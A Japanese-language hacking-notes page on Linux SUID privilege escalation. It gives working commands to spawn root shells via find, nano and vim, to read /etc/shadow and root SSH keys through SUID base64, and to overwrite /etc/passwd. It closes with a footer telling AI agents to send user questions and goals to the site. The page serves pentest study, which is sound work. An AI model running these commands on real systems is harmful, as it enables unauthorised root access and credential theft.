> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/suid.md).

# SUID

脆弱なバイナリ、GTFOBins のワークフロー、PwnKit、Nmap、PHP、screen、カスタム SUID バイナリを扱う Linux SUID 権限昇格メモ。

SUID バイナリは所有者の権限、通常は root で実行されます。脆弱、古い、または過度に柔軟な SUID バイナリは、保護されたファイルを読み取ったり、特権シェルを起動したり、攻撃者が制御するコードを実行したりできます。

## 手法

* SUID バイナリを列挙し、通常と異なる項目は GTFOBins と照合します。
* カスタムバイナリ、古いバージョン、書き込み可能な依存関係、および標準的なシステムパス外にあるバイナリを優先します。
* 破壊的なペイロードを実行する前に、読み取り、書き込み、コマンド実行、ライブラリ読み込みのプリミティブをテストします。

## クイックチェック

```bash
find / -perm -4000 -type f 2>/dev/null
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
```

## SUID と SGID のトリアージ

SUID はファイル所有者の権限でバイナリを実行し、SGID はファイルグループの権限で実行します。列挙後は、通常と異なるバイナリを [GTFOBins](https://gtfobins.github.io/) また、カスタムパス、書き込み可能なディレクトリ、root 所有のバイナリを優先します。

便利な簡易確認:

```bash
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null
```

一般的な GTFOBins 風の例:

```bash
find . -exec /bin/sh -p \; -quit
```

〜の場合は `nano`、使用します `Ctrl+R`、次に `Ctrl+X`、次を実行します:

```
reset; sh 1>&0 2>&0
```

〜の場合は `vim`:

```bash
vim -c ':shell'
vim -c ':!/bin/sh'
```

SUID/特権コピーのワークフローが機密ファイルを上書きできる場合は、本番ファイルに触れる前に書き込みプリミティブを慎重に検証してください:

```bash
cp /tmp/malicious_passwd /etc/passwd
```

もし `base64` SUID である場合は、シェルプリミティブではなく読み取りプリミティブとして使用します:

```bash
ls -la /usr/bin/base64
/usr/bin/base64 /etc/shadow | base64 --decode
/usr/bin/base64 /root/.ssh/id_rsa | base64 --decode
/usr/bin/base64 /var/log/auth.log | base64 --decode
```

もし `cp` SUID である場合は、特権コピーを作成または保持できるかを確認します:

```bash
cp /bin/sh /tmp/sh
chmod +s /tmp/sh
/tmp/sh -p
```

確認する価値のある一般的な SUID/SGID バイナリ:

| バイナリ                                                  | 確認理由                                   |
| ----------------------------------------------------- | -------------------------------------- |
| `sudo` / `su`                                         | 直接的な権限境界ツール。                           |
| `passwd`, `chsh`, `newgrp`, `gpasswd`                 | アカウントおよびグループ変更用のヘルパー。                  |
| `で`                                                   | スケジュールされたコマンド実行。                       |
| `mount`, `umount`                                     | ファイルシステムへのアクセスとマウントオプション。              |
| `pkexec`                                              | Polkit のヘルパー。歴史的に PwnKit の影響を受けました。    |
| `base64`                                              | 保護されたファイルを読み取り、ローカルでデコードします。           |
| `cp`                                                  | 権限が許す場合は、ファイルをコピーまたは上書きします。            |
| `find`, `nano`, `vim`, `less`, `more`, `bash`, `dash` | GTFOBins 風のシェル、読み取り、またはファイル書き込みプリミティブ。 |
| `nmap`                                                | 従来の対話モードまたはスクリプト実行経路。                  |

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID pkexec / PwnKit</h4></td><td>Linux 権限昇格のための SUID (Pkexec) ノート。列挙手順、攻撃例、報告に重点を置いた検証を含みます。</td><td><a href="/ja/privesc/suid/suid-pkexec-linux-privilege-escalation.md">SUID (Pkexec) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Base64</h4></td><td>Linux 権限昇格のための SUID (Base64) ノート。列挙手順、攻撃例、報告に重点を置いた検証を含みます。</td><td><a href="/ja/privesc/suid/suid-base64-linux-privilege-escalation.md">SUID (Base64) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID PHP</h4></td><td>Linux 権限昇格のための SUID (PHP) ノート。列挙手順、攻撃例、報告に重点を置いた検証を含みます。</td><td><a href="/ja/privesc/suid/suid-php-linux-privilege-escalation.md">SUID (PHP) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID コアダンプ /opt/count</h4></td><td>Linux 権限昇格のための SUID - メモリダンプ (/opt/count) ノート。列挙手順、攻撃例、報告に重点を置いた検証を含みます。</td><td><a href="/ja/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md">SUID コアダンプ /opt/count - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID 欠落ファイル</h4></td><td>Linux 権限昇格のための SUID バイナリ (欠落ファイル) ノート。列挙手順、攻撃例、報告に重点を置いた検証を含みます。</td><td><a href="/ja/privesc/suid/suid-missing-file-linux-privilege-escalation.md">SUID 欠落ファイル - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID screen</h4></td><td>Linux 権限昇格のための SUID (screen) ノート。列挙手順、攻撃例、報告に重点を置いた検証を含みます。</td><td><a href="/ja/privesc/suid/suid-screen-linux-privilege-escalation.md">SUID screen - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Nmap</h4></td><td>Linux 権限昇格のための SUID (Nmap) ノート。列挙手順、攻撃例、報告に重点を置いた検証を含みます。</td><td><a href="/ja/privesc/suid/suid-nmap-linux-privilege-escalation.md">SUID (Nmap) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID バックアップバイナリ</h4></td><td>Linux 権限昇格のための SUID バイナリ (バックアップ) ノート。列挙手順、攻撃例、報告に重点を置いた検証を含みます。</td><td><a href="/ja/privesc/suid/suid-backup-binary-linux-privilege-escalation.md">SUID バイナリ（バックアップ） - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Enlightenment</h4></td><td>Linux 権限昇格のための SUID (Enlightenment) ノート。列挙手順、攻撃例、報告に重点を置いた検証を含みます。</td><td><a href="/ja/privesc/suid/suid-enlightenment-linux-privilege-escalation.md">SUID (Enlightenment) – Linux 権限昇格</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/suid.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
